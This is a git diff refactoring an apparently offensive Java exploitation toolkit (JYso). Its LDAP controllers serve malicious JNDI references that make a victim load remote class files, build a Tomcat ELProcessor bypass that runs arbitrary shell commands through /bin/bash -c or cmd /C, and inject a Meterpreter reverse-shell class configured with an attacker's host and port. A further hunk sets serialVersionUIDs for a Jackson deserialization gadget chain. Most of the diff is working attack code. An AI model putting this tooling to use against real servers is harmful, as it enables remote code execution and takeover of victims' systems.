diff --git a/src/main/java/com/qi4l/JYso/controllers/BasicController.java b/src/main/java/com/qi4l/JYso/controllers/BasicController.java index de1193d..75b75ac 100644 --- a/src/main/java/com/qi4l/JYso/controllers/BasicController.java +++ b/src/main/java/com/qi4l/JYso/controllers/BasicController.java @@ -14,120 +14,157 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; -import org.fusesource.jansi.Ansi; import java.net.URL; +import java.nio.charset.StandardCharsets; import java.util.Base64; +import java.util.Locale; import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/basic"}) public class BasicController implements LdapController { - private static String payloadType; - //最后的反斜杠不能少 - private final String codebase = Config.codeBase; - private String[] params; - private GadgetType gadgetType; + private static String payloadType; + // 用于对外提供动态字节码的 HTTP 服务器基础路径。 + private final String codebase = Config.codeBase; + // 存放从 LDAP 路径中解析出的命令或连接参数。 + private String[] params = new String[0]; + private GadgetType gadgetType; + // 向 LDAP 客户端返回引用指定 payload 类的搜索结果。 @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { - Entry e = new Entry(base); - String className = ""; + Entry entry = new Entry(base); + String className = resolvePayloadClass(); + URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class"); - if (payloadType.contains("E-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); - className = EchoClass.getName(); - } - - if (payloadType.contains("M-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - InjShell.init(params); - className = Gadgets.createClassB(ClassName1); - } - - if (payloadType.contains("command")) { - CommandTemplate commandTemplate = new CommandTemplate(params[0]); - commandTemplate.cache(); - className = commandTemplate.getClassName(); - } - - if (payloadType.contains("msf")) { - className = Meterpreter.class.getName(); - } - - String className1 = className.replaceAll("\\.", "/"); - - URL turl = new URL(new URL(this.codebase), className1 + ".class"); - System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset()); - e.addAttribute("javaClassName", "foo"); - e.addAttribute("javaCodeBase", this.codebase); - e.addAttribute("objectClass", "javaNamingReference"); - e.addAttribute("javaFactory", className); - result.sendSearchEntry(e); + System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset()); + entry.addAttribute("javaClassName", "foo"); + entry.addAttribute("javaCodeBase", codebase); + entry.addAttribute("objectClass", "javaNamingReference"); + entry.addAttribute("javaFactory", className); + result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); er.printStackTrace(); } - } + // 解析请求路径,确定 payload 类型并准备执行时所需的参数。 @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { System.out.println("- JNDI Remote Refenrence Links "); try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + String normalized = base.replace('\\', '/'); + payloadType = segment(normalized, 1); + if (payloadType.isEmpty()) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); } + System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - int thirdIndex = base.indexOf("/", secondIndex + 1); - if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } - - if (gadgetType == GadgetType.shell) { - String cmd1 = Util.getCmdFromBase(base); - byte[] decodedBytes = Base64.getDecoder().decode(cmd1); - String cmd = new String(decodedBytes); - String[] cmdArray = cmd.split(" "); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = cmdArray; - } - - if (gadgetType == GadgetType.msf) { - String[] results1 = Util.getIPAndPortFromBase(base); - Config.rhost = results1[0]; - Config.rport = results1[1]; - System.out.println(" RemotHost: " + results1[0]); - System.out.println(" RemotPort: " + results1[1]); - params = results1; - } + gadgetType = parseGadgetType(normalized); + params = resolveParams(normalized); } catch (Exception e) { if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; throw new IncorrectParamsException("Incorrect params >> " + base); } } + + // 根据 payload 标识返回需要加载的实现类名称。 + private String resolvePayloadClass() throws Exception { + if (payloadType.contains("E-")) { + Class echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); + return echoClass.getName(); + } + + if (payloadType.contains("M-")) { + InjShell.init(params); + return Gadgets.createClassB(suffixAfterDash(payloadType)); + } + + if (payloadType.contains("command")) { + if (params.length == 0) { + throw new IncorrectParamsException("Missing command parameters."); + } + CommandTemplate commandTemplate = new CommandTemplate(params[0]); + commandTemplate.cache(); + return commandTemplate.getClassName(); + } + + if (payloadType.contains("msf")) { + return Meterpreter.class.getName(); + } + + throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); + } + + // 读取路径中的 gadget 片段并转换为枚举值。 + private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { + String segment = segment(base, 2); + if (segment.isEmpty()) { + return null; + } + try { + return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); + } catch (IllegalArgumentException ignored) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); + } + } + + // 根据 gadget 类型构建命令行或回连配置参数。 + private String[] resolveParams(String base) throws Exception { + if (gadgetType == null) { + return new String[0]; + } + + switch (gadgetType) { + case base64: + String cmd = Util.getCmdFromBase(base); + System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset()); + return new String[]{cmd}; + case shell: + String encoded = Util.getCmdFromBase(base); + String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8); + System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset()); + return decoded.split(" "); + case msf: + String[] results = Util.getIPAndPortFromBase(base); + Config.rhost = results[0]; + Config.rport = results[1]; + System.out.println(" RemotHost: " + results[0]); + System.out.println(" RemotPort: " + results[1]); + return results; + default: + return new String[0]; + } + } + + // 提取路径中第 index 个非空段,保持与原解析逻辑一致。 + private String segment(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int nextSlash = base.indexOf('/', cursor); + if (nextSlash == -1) nextSlash = base.length(); + + if (nextSlash > cursor) { + if (found == index) { + return base.substring(cursor, nextSlash); + } + found++; + } + cursor = nextSlash + 1; + } + return ""; + } + + // 返回连字符后的子串,用于解析自定义类名。 + private String suffixAfterDash(String value) { + int dashIndex = value.indexOf('-'); + return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; + } } diff --git a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java index f5943f8..18c015e 100644 --- a/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java +++ b/src/main/java/com/qi4l/JYso/controllers/ELProcessorController.java @@ -18,57 +18,43 @@ import org.fusesource.jansi.Ansi; import javax.naming.StringRefAddr; import java.io.IOException; import java.lang.reflect.Field; +import java.util.Locale; import static org.fusesource.jansi.Ansi.ansi; @LdapMapping(uri = {"/elprocessor"}) public class ELProcessorController implements LdapController { - private String payloadType; - private String[] params; + private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + + ".newInstance().getEngineByName(\"JavaScript\")" + + ".eval(\"%s\")}"; + + private String payloadType; + // 记录解析请求时提取出的命令参数或回连信息。 + private String[] params = new String[0]; private GadgetType gadgetType; + // 向 LDAP 客户端返回序列化后的 ELProcessor 引用。 @Override public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { - String jscode = null; - try { - Entry e = new Entry(base); - e.addAttribute("javaClassName", "java.lang.String"); - ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + Entry entry = new Entry(base); + entry.addAttribute("javaClassName", "java.lang.String"); + + ResourceRef ref = new ResourceRef( + "javax.el.ELProcessor", + null, + "", + "", + true, + "org.apache.naming.factory.BeanFactory", + null + ); ref.add(new StringRefAddr("forceString", "x=eval")); - TomcatBypassHelper helper = new TomcatBypassHelper(); + ref.add(new StringRefAddr("x", buildPayloadScript())); - if (payloadType.contains("E-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1)); - jscode = InjShell.injectClass(EchoClass); - } - - if (payloadType.contains("M-")) { - String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); - InjShell.init(params); - jscode = Gadgets.createClassT(ClassName1); - } - - if (payloadType.contains("command")) { - jscode = helper.getExecCode(params[0]); - } - - if (payloadType.contains("msf")) { - jscode = helper.injectMeterpreter(); - } - - - String payloadTemplate = "{" + - "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + - ".newInstance().getEngineByName(\"JavaScript\")" + - ".eval(\"{replacement}\")" + - "}"; - String finalPayload = payloadTemplate.replace("{replacement}", jscode); - ref.add(new StringRefAddr("x", finalPayload)); - e.addAttribute("javaSerializedData", Util.serialize(ref)); - result.sendSearchEntry(e); + entry.addAttribute("javaSerializedData", Util.serialize(ref)); + result.sendSearchEntry(entry); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Throwable er) { System.err.println("Error while generating or serializing payload"); @@ -76,56 +62,20 @@ public class ELProcessorController implements LdapController { } } + // 解析请求路径,确定 payload 类型及其所需参数。 @Override public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException { System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor"); try { - base = base.replace('\\', '/'); - int fistIndex = base.indexOf("/"); - int secondIndex = base.indexOf("/", fistIndex + 1); - if (secondIndex < 0) secondIndex = base.length(); - - try { - payloadType = base.substring(fistIndex + 1, secondIndex); - System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex)); + String normalized = base.replace('\\', '/'); + payloadType = segment(normalized, 1); + if (payloadType.isEmpty()) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized); } + System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset()); - int thirdIndex = base.indexOf("/", secondIndex + 1); - - if (thirdIndex != -1) { - if (thirdIndex < 0) thirdIndex = base.length(); - try { - gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase()); - } catch (IllegalArgumentException e) { - throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex)); - } - } - - if (gadgetType == GadgetType.base64) { - String cmd = Util.getCmdFromBase(base); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = new String[]{cmd}; - } - - if (gadgetType == GadgetType.shell) { - String cmd1 = Util.getCmdFromBase(base); - byte[] decodedBytes = Util.base64Decode(cmd1); - String cmd = new String(decodedBytes); - String[] cmdArray = cmd.split(" "); - System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); - params = cmdArray; - } - - if (gadgetType == GadgetType.msf) { - String[] results1 = Util.getIPAndPortFromBase(base); - Config.rhost = results1[0]; - Config.rport = results1[1]; - System.out.println("[+] RemotHost: " + results1[0]); - System.out.println("[+] RemotPort: " + results1[1]); - params = results1; - } + gadgetType = parseGadgetType(normalized); + params = resolveParams(normalized); } catch (Exception e) { if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e; @@ -133,34 +83,117 @@ public class ELProcessorController implements LdapController { } } - private class TomcatBypassHelper { + // 构造注入到 ELProcessor 中的 JavaScript 代码。 + private String buildPayloadScript() throws Exception { + TomcatBypassHelper helper = new TomcatBypassHelper(); + String scriptBody; - public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { - Class ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); - Field WinClassName = ctClazz.getDeclaredField("host"); - WinClassName.setAccessible(true); - WinClassName.set(ctClazz, params[0]); - Field WinclassBody = ctClazz.getDeclaredField("port"); - WinclassBody.setAccessible(true); - WinclassBody.set(ctClazz, params[1]); - return InjShell.injectClass(ctClazz); + if (payloadType.contains("E-")) { + Class echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType))); + scriptBody = InjShell.injectClass(echoClass); + } else if (payloadType.contains("M-")) { + InjShell.init(params); + scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType)); + } else if (payloadType.contains("command")) { + scriptBody = helper.getExecCode(params[0]); + } else if (payloadType.contains("msf")) { + scriptBody = helper.injectMeterpreter(); + } else { + throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType); } - public String getExecCode(String cmd) throws IOException { + return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\"")); + } - String code = "var strs=new Array(3);\n" + - " if(java.io.File.separator.equals('/')){\n" + - " strs[0]='/bin/bash';\n" + - " strs[1]='-c';\n" + - " strs[2]='" + cmd + "';\n" + - " }else{\n" + - " strs[0]='cmd';\n" + - " strs[1]='/C';\n" + - " strs[2]='" + cmd + "';\n" + - " }\n" + - " java.lang.Runtime.getRuntime().exec(strs);"; + // 解析路径中的 gadget 片段并转换为枚举。 + private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException { + String segment = segment(base, 2); + if (segment.isEmpty()) return null; - return code; + try { + return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT)); + } catch (IllegalArgumentException ignored) { + throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment); } } -} \ No newline at end of file + + // 根据不同 gadget 类型构建命令参数或回连配置。 + private String[] resolveParams(String base) throws Exception { + if (gadgetType == null) return new String[0]; + + switch (gadgetType) { + case base64: + String cmd = Util.getCmdFromBase(base); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset()); + return new String[]{cmd}; + case shell: + String encoded = Util.getCmdFromBase(base); + String decoded = new String(Util.base64Decode(encoded)); + System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset()); + return decoded.split(" "); + case msf: + String[] results = Util.getIPAndPortFromBase(base); + Config.rhost = results[0]; + Config.rport = results[1]; + System.out.println("[+] RemotHost: " + results[0]); + System.out.println("[+] RemotPort: " + results[1]); + return results; + default: + return new String[0]; + } + } + + // 提取路径中的第 index 个非空段,保持与原有解析方式一致。 + private String segment(String base, int index) { + int cursor = 0; + int found = 0; + while (cursor < base.length()) { + int next = base.indexOf('/', cursor); + if (next == -1) next = base.length(); + + if (next > cursor) { + if (found == index) { + return base.substring(cursor, next); + } + found++; + } + cursor = next + 1; + } + return ""; + } + + // 返回连字符后的子串,用于解析自定义类名。 + private String suffixAfterDash(String value) { + int dashIndex = value.indexOf('-'); + return dashIndex >= 0 ? value.substring(dashIndex + 1) : value; + } + + // 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。 + private class TomcatBypassHelper { + String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { + Class clazz = Class.forName("com.qi4l.JYso.template.Meterpreter"); + Field host = clazz.getDeclaredField("host"); + host.setAccessible(true); + host.set(clazz, params[0]); + + Field port = clazz.getDeclaredField("port"); + port.setAccessible(true); + port.set(clazz, params[1]); + return InjShell.injectClass(clazz); + } + + String getExecCode(String cmd) throws IOException { + return "var strs=new Array(3);\n" + + " if(java.io.File.separator.equals('/')){\n" + + " strs[0]='/bin/bash';\n" + + " strs[1]='-c';\n" + + " strs[2]='" + cmd + "';\n" + + " }else{\n" + + " strs[0]='cmd';\n" + + " strs[1]='/C';\n" + + " strs[2]='" + cmd + "';\n" + + " }\n" + + " java.lang.Runtime.getRuntime().exec(strs);"; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java index 927c171..11ecc99 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Jackson3.java @@ -56,15 +56,17 @@ public class Jackson3 implements ObjectPayload { public static Object getEventListenerList(Object obj) throws Exception { //>=6.1.0 为-7977902244297240866 - //<=6.0.23为 + //<=6.0.23为-5677132037850737084 CtClass ctEventListenerList = insertField( - "javax.swing.event.EventListenerList", "private static final long serialVersionUID = -7977902244297240866L;"); + "javax.swing.event.EventListenerList", + "private static final long serialVersionUID = -5677132037850737084;"); Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance(); //>=6.1.0 为-1045223116463488483 - //<=6.0.23为 + //<=6.0.23为-2077529998244066750 CtClass ctUndoManager = insertField( - "javax.swing.undo.UndoManager", "private static final long serialVersionUID = -1045223116463488483L;"); + "javax.swing.undo.UndoManager", + "private static final long serialVersionUID = -2077529998244066750L;"); Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance(); //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index 32f209a..ef4e369 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -244,8 +244,12 @@ public class InjShell { public static CtClass insertField(String fieldName, String fieldCode) throws Exception { POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName))); final CtClass ctClass = POOL.get(fieldName); - insertField(ctClass, fieldName, fieldCode); - return ctClass; + try { + insertField(ctClass, fieldName, fieldCode); + return ctClass; + } catch (javassist.bytecode.DuplicateMemberException ignored) { + return ctClass; + } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java deleted file mode 100644 index 6591571..0000000 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Ltime.java +++ /dev/null @@ -1,14 +0,0 @@ -package com.qi4l.JYso.gadgets.utils; - -import java.text.DateFormat; -import java.text.SimpleDateFormat; -import java.util.Date; - -public class Ltime { - //yyyy-MM-dd - public static String getLocalTime() { - Date d = new Date(); - DateFormat sdf = new SimpleDateFormat("HH:mm:ss"); - return sdf.format(d); - } -}